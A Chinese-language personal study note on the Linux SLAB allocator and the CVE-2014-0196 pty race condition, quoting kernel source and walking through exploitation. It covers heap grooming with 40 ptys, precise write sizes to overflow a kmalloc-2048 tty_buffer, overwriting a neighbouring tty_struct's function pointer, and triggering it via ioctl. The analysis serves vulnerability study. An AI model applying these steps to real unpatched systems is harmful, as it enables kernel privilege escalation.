已经有很多资料讲述SLAB攻击,本文只是自己的笔记。想要了解这种技术请直接去看文末罗列的参考资料
    一 认识SLAB 
    1. 对整页的内存页面进行管理和利用 
    2. 相同大小的结构会被放在一个队列中,称为一个slab,所有的同类slab由一个kmem_cache管理 
    3.slab_t结构代表一个slab对象 
    在/proc/slabinfo可以获取到SLAB的信息 

    kmalloc使用的slab叫做kmalloc-xxxx,如kmalloc-2048 
    图中看到的其他名字都是特用的内存,常规申请应该用kmalloc,kmalloc也是最常出问题的 
     
    4.设计者的论文 
    《An Object-Caching Kernel Memory Allocator》 
    每个slab对象大于页面的八分之一的时候 

     
    小于1/8个页面的时候: 

     
    但是对于linux而言,kmem_slab在整个页面的结尾而不是开始 
     
    5. 看看linux中的情况  http://www.phrack.org/issues/64/6.html 
总结:这里需要知道的就是SLAB内存管理中,所有相同大小的内存块是以线性排列的。这样堆溢出很容易覆盖到相同大小的另一个内存块
    
 
    二  关于CVE-2014-0196 
     
    https://git.kernel.org/cgit/linux/kernel/git/gregkh/tty.git/commit/?h=tty-linus&id=4291086b1f081b869c6d79e5b7441633dc3ace00 
     
    n_tty_write这个函数代码没有加锁,导致同步问题 
     
    同步问题最终发生在tty_insert_flip_string_fixed_flag 
      
A                                           B 
__tty_buffer_request_room   
                                    __tty_buffer_request_room 
memcpy(buf(tb->used), ...) 
tb->used += space; 
                                    memcpy(buf(tb->used), ...) ->BOOM
    
    A/B这两个进程这样去操作buffer,将导致tty_buffer所在的堆溢出 
    三 关于tty 
    首先需要了解溢出目标 tty_buffer
    
    
struct tty_buffer 
{ 
  struct tty_buffer *next;
  char *char_buf_ptr; 
  unsigned char *flag_buf_ptr; 
  int used; 
  int size; 
  int commit; 
  int read; 
  /* Data points here */ 
  unsigned long data[0]; 
}; 
    这个结构后面会直接跟着char_buffer和flag_buffer,这两个缓冲区的大小都是size 
    size 开始的时候会是256 ,这个size是可以以256为粒度动态增长的,动态增长将导致buffer的重新分配,最大可以分配到
    TTY_BUFFER_PAGE 
    
    
    这个数值是:
    
#define TTY_BUFFER_PAGE  (((PAGE_SIZE - sizeof(struct tty_buffer)) / 2) & ~0xFF)
    
    也就是要确保tty_buffer不超过一页。最大将会被置于kmalloc-4096的slab中
    这个内存大小最小是 256*2 + sizeof(tty_buffer) 也会在kmalloc-1024的slab中。
    tty_buffer_find负责内存不足时重新分配
    
static struct tty_buffer *tty_buffer_find(struct tty_struct *tty, size_t size)
{
    struct tty_buffer **tbh = &tty->buf.free;
    while ((*tbh) != NULL) {
        struct tty_buffer *t = *tbh;
        if (t->size >= size) {
            *tbh = t->next;
            t->next = NULL;
            t->used = 0;
            t->commit = 0;
            t->read = 0;
            tty->buf.memory_used += t->size;
            return t;
        }
        tbh = &((*tbh)->next);
    }
    /* Round the buffer size out */
    size = (size + 0xFF) & ~0xFF;
    return tty_buffer_alloc(tty, size);
    /* Should possibly check if this fails for the largest buffer we
       have queued and recycle that ? */
}
    四
 关于漏洞利用 
整体思路就是,向无锁的tty_buffer写内存数据,造成tty_bufffer的溢出。覆盖相同大小相
    
    先来看负责拷贝数据的函数:
    
int tty_insert_flip_string_fixed_flag(struct tty_struct *tty,
        const unsigned char *chars, char flag, size_t size)
{
    int copied = 0;
    do {
        int goal = min_t(size_t, size - copied, TTY_BUFFER_PAGE);
        int space = tty_buffer_request_room(tty, goal);
        struct tty_buffer *tb = tty->buf.tail;
        /* If there is no space then tb may be NULL */
        if (unlikely(space == 0))
            break;
        memcpy(tb->char_buf_ptr + tb->used, chars, space);
        memset(tb->flag_buf_ptr + tb->used, flag, space);
        tb->used += space;
        copied += space;
        chars += space;
        /* There is a small chance that we need to split the data over
           several buffers. If this is the case we must loop */
    } while (unlikely(size > copied));
    return copied;
}
    需要说明的是,tty_buffer_request_room是有锁的,这个函数负责检查tty_buffer的内存块是否足够,不够就调用tty_buffer_find去重新分配更大的内存 
    
    
    目前为止,这是一个竞争问题,假设进程A和进程B都去写这个tty_buffer 
    
    1.
A进入 tty_insert_flip_string_fixed_flag,调用 tty_buffer_request_room条件满足 
    
    2.
B进入 tty_insert_flip_string_fixed_flag,调用 tty_buffer_request_room条件满足 
    
    3.
A进程将kmalloc-2048的tty_buffer写满,tty_buffer->size
= 2048  
    
    tty_buffer->used
= 2048 
    
    4.
B进程继续向tty_buffer->used后面写内存,转化为堆内存溢出问题 
    五
 如何利用 
    
    虽然这是一个双进程竞争问题,但是事实上一个进程就可以完成任务。因为写操作是异步的,这由kernel_thread替我完成。 
    剩下的工作,就是将一个结构体布局在溢出的tty_buffer后面,这个结构体有一个函数指针,我们使用溢出的内存数据覆盖这个结构体即可。那么在这个结构体中的指针指向的函数被调用时候,我们将得到执行机会. 
    tty_struct恰恰是这样一个结构体。他有函数指针,并且结构体大小合适,能保证分配在kmalloc-1024 ~ kmalloc4096之间 
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    […]
}
    
    
    有一点遗憾的是,tty_struct的大小实际上是不定的,在goldfish中是1024.有的手机甚至是4096.....这降低了这个漏洞的通用性 
    但大多是2048,所以2048为例:
    
    
    首先创建一个我们用来溢出tty_buffer的tty 
    
if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
    puts("\n[-] pty creation failed");
    return 1;
}
    然后向其中写入257个字节,这个时候tty_buffer被分配到 kmalloc-2048 
write(slave_fd, buf, 257);
    接着创建40个tty_struct,将slab填满,使得堆变得有序 
    
for (j = 0; j < 40; ++j) {
  if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
      puts("\n[-] pty creation failed");
      return 1;
}
}
开始溢出
    
write(slave_fd, buf, 255);
write(slave_fd, buf, 2048 - 28 - (257 + 255 + 1)); 
write( slave_fd, &overwrite, sizeof(overwrite) );
    
    第一句,填满目前已经申请的256 char  buffer 和 256 flag buffer,是的,当发现tty是不需要flag buffer 的时候,flag buffer的空间也可以被用作char buffer
    
    然后第二句,填满整个SLAB,准备溢出
    第三句,开始溢出
    之后的事情就简单了,向之前自己创建的40个tty_struct一个一个去发ioctl,触发我们溢出的函数指针
    一旦找到那个倒霉的tty_struct,则利用成功
    
    参考:
    http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html 
    http://bugfuzz.com/stuff/cve-2014-0196-md.c 
    http://www.phrack.org/issues/64/6.html